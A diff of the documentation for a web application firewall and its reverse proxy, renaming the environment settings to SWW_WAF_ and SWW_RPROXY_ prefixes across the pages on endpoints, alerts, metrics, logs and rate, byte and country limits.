renamed over the real one, so a crash leaves a complete file. `discriminator`
|
||||||
notices a file edited on disk and takes the edit in; an edit that does not parse
|
notices a file edited on disk and takes the edit in; an edit that does not parse
|
||||||
|
|||||||
@@ -5,16 +5,16 @@ The endpoints under `/_sww/`, what each takes and what each answers.
|
|||||||
"Admin endpoints" in [`SPEC.md`](../SPEC.md) says how their tokens work.
|
"Admin endpoints" in [`SPEC.md`](../SPEC.md) says how their tokens work.
|
||||||
|
|
||||||
- `GET /_sww/healthz`: `200` and `ok`, to anyone.
|
- `GET /_sww/healthz`: `200` and `ok`, to anyone.
|
||||||
- `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see
|
- `GET /_sww/metrics`: the metrics, for `SWW_WAF_METRICS_TOKEN` (see
|
||||||
[`metrics.md`](metrics.md)).
|
[`metrics.md`](metrics.md)).
|
||||||
- `GET /_sww/bans`: every ban held, under `bans`, each as `bans.json` lists it.
|
- `GET /_sww/bans`: every ban held, under `bans`, each as `bans.json` lists it.
|
||||||
Needs `SWW_ADMIN_TOKEN`, as do the three below.
|
Needs `SWW_WAF_ADMIN_TOKEN`, as do the three below.
|
||||||
- `POST /_sww/bans`: bans a netblock. The body is a JSON object of `netblock`,
|
- `POST /_sww/bans`: bans a netblock. The body is a JSON object of `netblock`,
|
||||||
`duration` and, if you like, `reason`. `netblock` is a netblock such as
|
`duration` and, if you like, `reason`. `netblock` is a netblock such as
|
||||||
`203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
|
`203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
|
||||||
(`SWW_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such
|
(`SWW_WAF_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration
|
||||||
as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying what is
|
such as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying
|
||||||
wrong:
|
what is wrong:
|
||||||
- one that is not such an object, or has another field;
|
- one that is not such an object, or has another field;
|
||||||
- one longer than 4 KiB;
|
- one longer than 4 KiB;
|
||||||
- one that names an IPv4-mapped netblock, or an address with a zone.
|
- one that names an IPv4-mapped netblock, or an address with a zone.
|
||||||
@@ -38,8 +38,8 @@ in [`SPEC.md`](../SPEC.md)).
|
|||||||
|
|
||||||
## Examples
|
## Examples
|
||||||
|
|
||||||
With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `discriminator` reached
|
With `SWW_WAF_ADMIN_TOKEN` set, the token in `$TOKEN`, and `discriminator`
|
||||||
as `discriminator:8080` on its network:
|
reached as `discriminator:8080` on its network:
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
# Every ban.
|
# Every ban.
|
||||||
|
|||||||
+4
-4
@@ -77,8 +77,8 @@ on one line:
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
- `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
|
- `instance`: `SWW_WAF_INSTANCE_NAME`. `time`: when the alert was raised.
|
||||||
one of the events above.
|
`event`: one of the events above.
|
||||||
- `host`: the site of the request that raised the alert, since one
|
- `host`: the site of the request that raised the alert, since one
|
||||||
`discriminator` serves many sites. It is left out of `source_failure`,
|
`discriminator` serves many sites. It is left out of `source_failure`,
|
||||||
`file_error` and `summary`.
|
`file_error` and `summary`.
|
||||||
@@ -122,8 +122,8 @@ Slack gets the title in bold and the text below it, with `&`, `<` and `>`
|
|||||||
escaped. ntfy gets the text as the message, with these headers:
|
escaped. ntfy gets the text as the message, with these headers:
|
||||||
|
|
||||||
- `Title`: the title;
|
- `Title`: the title;
|
||||||
- `Authorization`: the token, as `Bearer <token>`, while `SWW_ALERT_NTFY_TOKEN`
|
- `Authorization`: the token, as `Bearer <token>`, while
|
||||||
is set;
|
`SWW_WAF_ALERT_NTFY_TOKEN` is set;
|
||||||
- `Priority` and `Tags`: by event, as listed below.
|
- `Priority` and `Tags`: by event, as listed below.
|
||||||
|
|
||||||
The priority and tag by event:
|
The priority and tag by event:
|
||||||
|
|||||||
+2
-2
@@ -6,7 +6,7 @@ keeps the `instance` label as `exported_instance` unless the scrape sets
|
|||||||
`honor_labels: true`. `rproxy` has no metrics.
|
`honor_labels: true`. `rproxy` has no metrics.
|
||||||
|
|
||||||
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
|
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
|
||||||
body bytes, never headers, whatever `SWW_BYTES_COUNT` says.
|
body bytes, never headers, whatever `SWW_WAF_BYTES_COUNT` says.
|
||||||
|
|
||||||
## Traffic
|
## Traffic
|
||||||
|
|
||||||
@@ -33,7 +33,7 @@ body bytes, never headers, whatever `SWW_BYTES_COUNT` says.
|
|||||||
|
|
||||||
## Countries and AS numbers
|
## Countries and AS numbers
|
||||||
|
|
||||||
For the `SWW_METRICS_TOP_N` busiest of each, the rest as `other`:
|
For the `SWW_WAF_METRICS_TOP_N` busiest of each, the rest as `other`:
|
||||||
|
|
||||||
- `sww_country_requests_total`, `sww_country_request_bytes_total`,
|
- `sww_country_requests_total`, `sww_country_request_bytes_total`,
|
||||||
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
|
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
|
||||||
|
|||||||
+17
-15
@@ -44,7 +44,7 @@ Every one of these lines has:
|
|||||||
- `time`: when `discriminator` had read the question's body, RFC 3339 with
|
- `time`: when `discriminator` had read the question's body, RFC 3339 with
|
||||||
milliseconds, in UTC. The `report` line gives the same time as the `decision`
|
milliseconds, in UTC. The `report` line gives the same time as the `decision`
|
||||||
line.
|
line.
|
||||||
- `instance`: `SWW_INSTANCE_NAME`.
|
- `instance`: `SWW_WAF_INSTANCE_NAME`.
|
||||||
- `client_ip`: the visitor's address, as `rproxy` worked it out.
|
- `client_ip`: the visitor's address, as `rproxy` worked it out.
|
||||||
- `method`, `path` and `query`: the visitor's request.
|
- `method`, `path` and `query`: the visitor's request.
|
||||||
- `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of
|
- `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of
|
||||||
@@ -82,8 +82,8 @@ Every one of these lines has:
|
|||||||
- GeoJS had not answered by the time `discriminator` answered.
|
- GeoJS had not answered by the time `discriminator` answered.
|
||||||
- `content_type`: the visitor's `Content-Type`.
|
- `content_type`: the visitor's `Content-Type`.
|
||||||
- `content_length`: the body length the visitor announced.
|
- `content_length`: the body length the visitor announced.
|
||||||
- `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in
|
- `request_headers`: the headers listed in `SWW_WAF_LOG_REQUEST_HEADERS`, by
|
||||||
lower case.
|
name in lower case.
|
||||||
- `has_authorization` and `has_cookie`: true when the request had those headers.
|
- `has_authorization` and `has_cookie`: true when the request had those headers.
|
||||||
Their values are never logged.
|
Their values are never logged.
|
||||||
|
|
||||||
@@ -96,8 +96,8 @@ Every one of these lines has:
|
|||||||
|
|
||||||
- `action`: what was done:
|
- `action`: what was done:
|
||||||
- `forward`: answered `allow`, so that `rproxy` passes it to the app;
|
- `forward`: answered `allow`, so that `rproxy` passes it to the app;
|
||||||
- `client_denied`: refused for `SWW_DENY_NETS`, for a reputation source with
|
- `client_denied`: refused for `SWW_WAF_DENY_NETS`, for a reputation source
|
||||||
the action `deny`, or for a tag in `SWW_TAG_DENY`;
|
with the action `deny`, or for a tag in `SWW_WAF_TAG_DENY`;
|
||||||
- `temporarily_banned`: refused under a ban that runs out, or for a `ban`
|
- `temporarily_banned`: refused under a ban that runs out, or for a `ban`
|
||||||
rule, a trap path or a CrowdSec decision that made such a ban;
|
rule, a trap path or a CrowdSec decision that made such a ban;
|
||||||
- `permanently_banned`: refused under a ban that never runs out, including a
|
- `permanently_banned`: refused under a ban that never runs out, including a
|
||||||
@@ -114,21 +114,23 @@ Every one of these lines has:
|
|||||||
is left out when none did.
|
is left out when none did.
|
||||||
- `heuristic_figures`: an object of the figures that heuristic acted on. Each
|
- `heuristic_figures`: an object of the figures that heuristic acted on. Each
|
||||||
heuristic and its figures:
|
heuristic and its figures:
|
||||||
- `deny_nets`: `netblock`, the entry of `SWW_DENY_NETS` the client is in;
|
- `deny_nets`: `netblock`, the entry of `SWW_WAF_DENY_NETS` the client is
|
||||||
|
in;
|
||||||
- `active_ban`: `netblock`, the ban's netblock, and `ban_expires`;
|
- `active_ban`: `netblock`, the ban's netblock, and `ban_expires`;
|
||||||
- `countries`: `country`, and `setting`, the country list that refused it;
|
- `countries`: `country`, and `setting`, the country list that refused it;
|
||||||
- `tag_deny`: `tag`, the tag of `SWW_TAG_DENY` the request carries;
|
- `tag_deny`: `tag`, the tag of `SWW_WAF_TAG_DENY` the request carries;
|
||||||
- `blocklists`: `lists`, the blocklist URLs that list the client;
|
- `blocklists`: `lists`, the blocklist URLs that list the client;
|
||||||
- `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the
|
- `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the
|
||||||
decision ends;
|
decision ends;
|
||||||
- `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
|
- `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
|
||||||
masked;
|
masked;
|
||||||
- `abuseipdb`: `score`, and `min_score`, `SWW_ABUSEIPDB_MIN_SCORE`;
|
- `abuseipdb`: `score`, and `min_score`, `SWW_WAF_ABUSEIPDB_MIN_SCORE`;
|
||||||
- `rate_limits`: `window`, `count` and `limit`;
|
- `rate_limits`: `window`, `count` and `limit`;
|
||||||
- `trap_paths`: `path`, the trap path asked for;
|
- `trap_paths`: `path`, the trap path asked for;
|
||||||
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
|
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
|
||||||
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
|
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
|
||||||
- `core_rule_set`: `score`, and `threshold`, `SWW_WAF_ANOMALY_THRESHOLD`;
|
- `core_rule_set`: `score`, and `threshold`,
|
||||||
|
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`;
|
||||||
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
|
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
|
||||||
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
|
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
|
||||||
- `after_answer_heuristic`: the heuristic that banned the client after
|
- `after_answer_heuristic`: the heuristic that banned the client after
|
||||||
@@ -149,7 +151,7 @@ Every one of these lines has:
|
|||||||
holds:
|
holds:
|
||||||
- `minute`, `hour` and `day`: requests;
|
- `minute`, `hour` and `day`: requests;
|
||||||
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
|
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
|
||||||
`SWW_BYTES_COUNT` names, in that window.
|
`SWW_WAF_BYTES_COUNT` names, in that window.
|
||||||
|
|
||||||
A count can have a fraction (see "Counting method" in
|
A count can have a fraction (see "Counting method" in
|
||||||
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
|
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
|
||||||
@@ -159,7 +161,7 @@ Every one of these lines has:
|
|||||||
- `limit_hit`: the limit broken:
|
- `limit_hit`: the limit broken:
|
||||||
- `minute`, `hour` or `day` for a rate limit;
|
- `minute`, `hour` or `day` for a rate limit;
|
||||||
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
|
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
|
||||||
- `minute_refusals` for the error burst (`SWW_ERROR_BURST_THRESHOLD`).
|
- `minute_refusals` for the error burst (`SWW_WAF_ERROR_BURST_THRESHOLD`).
|
||||||
|
|
||||||
When the bytes counted for a request and its response break a limit, the
|
When the bytes counted for a request and its response break a limit, the
|
||||||
request has been passed on whole, so its `action` stays `forward`. Only its
|
request has been passed on whole, so its `action` stays `forward`. Only its
|
||||||
@@ -177,7 +179,7 @@ Every one of these lines has:
|
|||||||
- `tags`: the request's tags, sorted, left out when it has none. Each tag and
|
- `tags`: the request's tags, sorted, left out when it has none. Each tag and
|
||||||
where it comes from is under "Request tags" in [`SPEC.md`](../SPEC.md).
|
where it comes from is under "Request tags" in [`SPEC.md`](../SPEC.md).
|
||||||
- `routewatch_tags_missing`: why the request got no tags from routewatch,
|
- `routewatch_tags_missing`: why the request got no tags from routewatch,
|
||||||
present only while `SWW_ROUTEWATCH_URL` is set:
|
present only while `SWW_WAF_ROUTEWATCH_URL` is set:
|
||||||
- `no_answer_yet`: routewatch has not answered about this client yet;
|
- `no_answer_yet`: routewatch has not answered about this client yet;
|
||||||
- `request_failed`: a query to routewatch failed within the last minute, and
|
- `request_failed`: a query to routewatch failed within the last minute, and
|
||||||
the process log says why;
|
the process log says why;
|
||||||
@@ -234,13 +236,13 @@ these meanings where they differ:
|
|||||||
was sooner. It includes the wait for `discriminator`.
|
was sooner. It includes the wait for `discriminator`.
|
||||||
- `duration_response_ms`: milliseconds from then until the end of the answer.
|
- `duration_response_ms`: milliseconds from then until the end of the answer.
|
||||||
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
|
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
|
||||||
is `discriminator`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is
|
is `discriminator`'s answer, or the value of `SWW_RPROXY_DEFAULT_DISPOSITION`.
|
||||||
left out when:
|
It is left out when:
|
||||||
- `discriminator` was not asked, as for the health check;
|
- `discriminator` was not asked, as for the health check;
|
||||||
- the visitor went away while `discriminator` was being asked;
|
- the visitor went away while `discriminator` was being asked;
|
||||||
- `discriminator`'s answer had no valid `X-Sww-Disposition`;
|
- `discriminator`'s answer had no valid `X-Sww-Disposition`;
|
||||||
- `rproxy` could not pass on `discriminator`'s answer, and answered `502`.
|
- `rproxy` could not pass on `discriminator`'s answer, and answered `502`.
|
||||||
- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
|
- `default_disposition`: `true` when `SWW_RPROXY_DEFAULT_DISPOSITION` gave
|
||||||
`disposition`, and otherwise left out.
|
`disposition`, and otherwise left out.
|
||||||
|
|
||||||
For example:
|
For example:
|
||||||
|
|||||||
+248
-242
@@ -4,9 +4,9 @@ Every setting, its default and the values it takes, in the groups of "Settings"
|
|||||||
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
|
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
|
||||||
that take `off`, the `_FILE` form, and what each group does and why.
|
that take `off`, the `_FILE` form, and what each group does and why.
|
||||||
|
|
||||||
The settings that start with `SWW_` are `discriminator`'s. Those that start with
|
The settings that start with `SWW_WAF_` are `discriminator`'s. Those that start
|
||||||
`SWRP_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses
|
with `SWW_RPROXY_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND`
|
||||||
between the two (see "The image's command" below).
|
chooses between the two (see "The image's command" below).
|
||||||
|
|
||||||
## Forms of values
|
## Forms of values
|
||||||
|
|
||||||
@@ -28,97 +28,98 @@ between the two (see "The image's command" below).
|
|||||||
|
|
||||||
## Core
|
## Core
|
||||||
|
|
||||||
- `SWW_LISTEN_ADDR` (default `:8080`): where `discriminator` listens: `:` and a
|
- `SWW_WAF_LISTEN_ADDR` (default `:8080`): where `discriminator` listens: `:`
|
||||||
port, such as `:9000`. Leave the host out (see "Ports" in
|
and a port, such as `:9000`. Leave the host out (see "Ports" in
|
||||||
[`SPEC.md`](../SPEC.md)).
|
[`SPEC.md`](../SPEC.md)).
|
||||||
- `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name
|
- `SWW_WAF_INSTANCE_NAME` (default: the container's host name): the `instance`
|
||||||
in each line `discriminator` logs, and in each alert and metric, such as
|
name in each line `discriminator` logs, and in each alert and metric, such as
|
||||||
`fsn1/discriminator`. Valid UTF-8. No control character while
|
`fsn1/discriminator`. Valid UTF-8. No control character while
|
||||||
`SWW_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
|
`SWW_WAF_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
|
||||||
space while `SWW_LOG_REMOTE_URL` is set and `SWW_LOG_REMOTE_APP_NAME` is not.
|
space while `SWW_WAF_LOG_REMOTE_URL` is set and `SWW_WAF_LOG_REMOTE_APP_NAME`
|
||||||
- `SWW_MODE` (default `enforce`): `enforce` or `observe`.
|
is not.
|
||||||
- `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's
|
- `SWW_WAF_MODE` (default `enforce`): `enforce` or `observe`.
|
||||||
group, from 32 to 128.
|
- `SWW_WAF_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6
|
||||||
- `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
|
client's group, from 32 to 128.
|
||||||
number above zero.
|
- `SWW_WAF_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a
|
||||||
- `SWW_MAX_BANS` (default `5000`): how many of its own bans `discriminator`
|
whole number above zero.
|
||||||
|
- `SWW_WAF_MAX_BANS` (default `5000`): how many of its own bans `discriminator`
|
||||||
keeps, a whole number above zero.
|
keeps, a whole number above zero.
|
||||||
|
|
||||||
## Tokens
|
## Tokens
|
||||||
|
|
||||||
- `SWW_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
|
- `SWW_WAF_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
|
||||||
`/_sww/clients/<ip>`. At least 32 characters.
|
`/_sww/clients/<ip>`. At least 32 characters.
|
||||||
- `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
|
- `SWW_WAF_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At
|
||||||
32 characters.
|
least 32 characters.
|
||||||
|
|
||||||
## State files
|
## State files
|
||||||
|
|
||||||
- `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
|
- `SWW_WAF_STATE_DIR` (default `/var/lib/sww`): the directory of the state
|
||||||
absolute path that exists and can be written.
|
files, an absolute path that exists and can be written.
|
||||||
- `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
- `SWW_WAF_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
||||||
written after a ban is made, lifted or made permanent. A duration.
|
written after a ban is made, lifted or made permanent. A duration.
|
||||||
- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is
|
- `SWW_WAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file
|
||||||
written. A duration.
|
is written. A duration.
|
||||||
|
|
||||||
## Logging
|
## Logging
|
||||||
|
|
||||||
- `SWW_LOG_LEVEL` (default `info`): the least severe of `discriminator`'s own
|
- `SWW_WAF_LOG_LEVEL` (default `info`): the least severe of `discriminator`'s
|
||||||
messages that are written: `debug`, `info`, `warn` or `error`.
|
own messages that are written: `debug`, `info`, `warn` or `error`.
|
||||||
- `SWW_LOG_REQUEST_HEADERS` (default
|
- `SWW_WAF_LOG_REQUEST_HEADERS` (default
|
||||||
`accept,accept-language,accept-encoding,content-type,origin,range`): the
|
`accept,accept-language,accept-encoding,content-type,origin,range`): the
|
||||||
request headers recorded in the log line, in either case. `Host` and
|
request headers recorded in the log line, in either case. `Host` and
|
||||||
`Transfer-Encoding` are refused; the host is the field `host`.
|
`Transfer-Encoding` are refused; the host is the field `host`.
|
||||||
- `SWW_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
|
- `SWW_WAF_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
|
||||||
line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
|
line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
|
||||||
each with a host and a port and nothing more.
|
each with a host and a port and nothing more.
|
||||||
- `SWW_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates that
|
- `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
|
||||||
a `syslog+tls` server's certificate must chain to, instead of the host's own.
|
that a `syslog+tls` server's certificate must chain to, instead of the host's
|
||||||
A file that cannot be read, or holds no certificate, is refused.
|
own. A file that cannot be read, or holds no certificate, is refused.
|
||||||
- `SWW_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they wait
|
- `SWW_WAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they
|
||||||
to be sent, a whole number above zero.
|
wait to be sent, a whole number above zero.
|
||||||
- `SWW_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
|
- `SWW_WAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
|
||||||
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
|
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
|
||||||
`authpriv`, `ftp`, or `local0` to `local7`.
|
`authpriv`, `ftp`, or `local0` to `local7`.
|
||||||
- `SWW_LOG_REMOTE_APP_NAME` (default: `SWW_INSTANCE_NAME`): the app name in each
|
- `SWW_WAF_LOG_REMOTE_APP_NAME` (default: `SWW_WAF_INSTANCE_NAME`): the app name
|
||||||
syslog record, 1 to 48 printable ASCII characters without a space.
|
in each syslog record, 1 to 48 printable ASCII characters without a space.
|
||||||
|
|
||||||
## Metrics
|
## Metrics
|
||||||
|
|
||||||
- `SWW_METRICS_TOP_N` (default `50`): how many AS numbers and how many countries
|
- `SWW_WAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many
|
||||||
get series of their own. A whole number above zero.
|
countries get series of their own. A whole number above zero.
|
||||||
|
|
||||||
## Static lists
|
## Static lists
|
||||||
|
|
||||||
- `SWW_ALLOW_NETS` (default empty): netblocks you trust, such as your monitoring
|
- `SWW_WAF_ALLOW_NETS` (default empty): netblocks you trust, such as your
|
||||||
(see step 4 in [`SPEC.md`](../SPEC.md)).
|
monitoring (see step 4 in [`SPEC.md`](../SPEC.md)).
|
||||||
- `SWW_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
|
- `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
|
||||||
exempt from rate limiting and the byte limits.
|
exempt from rate limiting and the byte limits.
|
||||||
- `SWW_DENY_NETS` (default empty): netblocks whose clients are refused (see step
|
- `SWW_WAF_DENY_NETS` (default empty): netblocks whose clients are refused (see
|
||||||
4 in [`SPEC.md`](../SPEC.md)).
|
step 4 in [`SPEC.md`](../SPEC.md)).
|
||||||
|
|
||||||
## Request rate limits, per client
|
## Request rate limits, per client
|
||||||
|
|
||||||
The request past one of these limits is refused, and the client is banned.
|
The request past one of these limits is refused, and the client is banned.
|
||||||
|
|
||||||
- `SWW_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests a
|
- `SWW_WAF_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests
|
||||||
client may make in a minute. A count or `off`. The default leaves room for a
|
a client may make in a minute. A count or `off`. The default leaves room for a
|
||||||
person opening two pages at once with an empty cache, up to 60 files each.
|
person opening two pages at once with an empty cache, up to 60 files each.
|
||||||
- `SWW_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
|
- `SWW_WAF_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
|
||||||
make in an hour. A count or `off`. It is the main limit against scrapers. A
|
make in an hour. A count or `off`. It is the main limit against scrapers. A
|
||||||
person reading a site for an hour, a page every 20 seconds, makes about 900. A
|
person reading a site for an hour, a page every 20 seconds, makes about 900. A
|
||||||
scraper making one request every 2 seconds makes 1,800 an hour, more than the
|
scraper making one request every 2 seconds makes 1,800 an hour, more than the
|
||||||
limit.
|
limit.
|
||||||
- `SWW_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may make
|
- `SWW_WAF_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may
|
||||||
in a day. A count or `off`. The default is four hours at the hour limit. A
|
make in a day. A count or `off`. The default is four hours at the hour limit.
|
||||||
scraper making one request every 10 seconds makes 8,640 a day, more than the
|
A scraper making one request every 10 seconds makes 8,640 a day, more than the
|
||||||
limit.
|
limit.
|
||||||
- A CI runner asks its code forge for work all day and can pass the limits. Put
|
- A CI runner asks its code forge for work all day and can pass the limits. Put
|
||||||
the runners' addresses in `SWW_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
|
the runners' addresses in `SWW_WAF_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
|
||||||
network where many people share one address, such as an office.
|
network where many people share one address, such as an office.
|
||||||
- Counting cannot catch a client that stays under all three limits (see "Request
|
- Counting cannot catch a client that stays under all three limits (see "Request
|
||||||
rate limits, per client" in [`SPEC.md`](../SPEC.md)).
|
rate limits, per client" in [`SPEC.md`](../SPEC.md)).
|
||||||
- `SWW_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from rate
|
- `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from
|
||||||
limiting and the byte limits, such as `/assets/`.
|
rate limiting and the byte limits, such as `/assets/`.
|
||||||
|
|
||||||
## Byte limits, per client
|
## Byte limits, per client
|
||||||
|
|
||||||
@@ -128,236 +129,240 @@ counted for a request and its response are added to the client's total once the
|
|||||||
response has ended. The request that takes a client's total past a limit is not
|
response has ended. The request that takes a client's total past a limit is not
|
||||||
cut off; the client is banned.
|
cut off; the client is banned.
|
||||||
|
|
||||||
- `SWW_BYTES_LIMIT_PER_MINUTE` (default `off`), `SWW_BYTES_LIMIT_PER_HOUR`
|
- `SWW_WAF_BYTES_LIMIT_PER_MINUTE` (default `off`),
|
||||||
(default `50G`) and `SWW_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes
|
`SWW_WAF_BYTES_LIMIT_PER_HOUR` (default `50G`) and
|
||||||
counted for a client in each window, a size or `off`. `SWW_BYTES_COUNT` says
|
`SWW_WAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes counted for a
|
||||||
which bytes count: response bodies, request bodies or both. The request that
|
client in each window, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes
|
||||||
passes the limit is not cut off, and the client is banned when its response
|
count: response bodies, request bodies or both. The request that passes the
|
||||||
ends.
|
limit is not cut off, and the client is banned when its response ends.
|
||||||
- `SWW_BYTES_COUNT` (default `both`): what the byte limits and the byte anomaly
|
- `SWW_WAF_BYTES_COUNT` (default `both`): what the byte limits and the byte
|
||||||
thresholds count: `response`, the app's response bodies; `request`, the
|
anomaly thresholds count: `response`, the app's response bodies; `request`,
|
||||||
visitors' request bodies; or `both`. What the visitor sent over a WebSocket
|
the visitors' request bodies; or `both`. What the visitor sent over a
|
||||||
counts as request bytes, and what the app sent as response bytes.
|
WebSocket counts as request bytes, and what the app sent as response bytes.
|
||||||
|
|
||||||
## Lookup of AS number and country
|
## Lookup of AS number and country
|
||||||
|
|
||||||
- `SWW_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops
|
- `SWW_WAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off`
|
||||||
the start while a setting that needs a lookup is set:
|
stops the start while a setting that needs a lookup is set:
|
||||||
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES`;
|
- `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES`;
|
||||||
- `SWW_ADD_LOOKUP_HEADERS`;
|
- `SWW_WAF_ADD_LOOKUP_HEADERS`;
|
||||||
- `SWW_TAG_DENY` or `SWW_TAG_LIMIT_PERCENT` naming a `country=` tag, or an
|
- `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming a `country=` tag,
|
||||||
`asn=` tag while `SWW_ROUTEWATCH_URL` is unset;
|
or an `asn=` tag while `SWW_WAF_ROUTEWATCH_URL` is unset;
|
||||||
- the two byte percentage lists and `SWW_ASN_LIMIT_PERCENT_URL`;
|
- the two byte percentage lists and `SWW_WAF_ASN_LIMIT_PERCENT_URL`;
|
||||||
- `SWW_UNKNOWN_LIMIT_PERCENT` below `100`;
|
- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` below `100`;
|
||||||
- an anomaly threshold per AS number.
|
- an anomaly threshold per AS number.
|
||||||
- `SWW_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its
|
- `SWW_WAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in
|
||||||
`.mmdb` form, for `SWW_LOOKUP_SOURCE=file`.
|
its `.mmdb` form, for `SWW_WAF_LOOKUP_SOURCE=file`.
|
||||||
- `SWW_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
|
- `SWW_WAF_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
|
||||||
client's first answer from GeoJS, and how long a request to GeoJS may take. A
|
client's first answer from GeoJS, and how long a request to GeoJS may take. A
|
||||||
duration; never `off`.
|
duration; never `off`.
|
||||||
- `SWW_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app
|
- `SWW_WAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the
|
||||||
the client's AS number in `X-Client-ASN` and its country in
|
app the client's AS number in `X-Client-ASN` and its country in
|
||||||
`X-Client-Country`.
|
`X-Client-Country`.
|
||||||
|
|
||||||
## Country list
|
## Country list
|
||||||
|
|
||||||
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
|
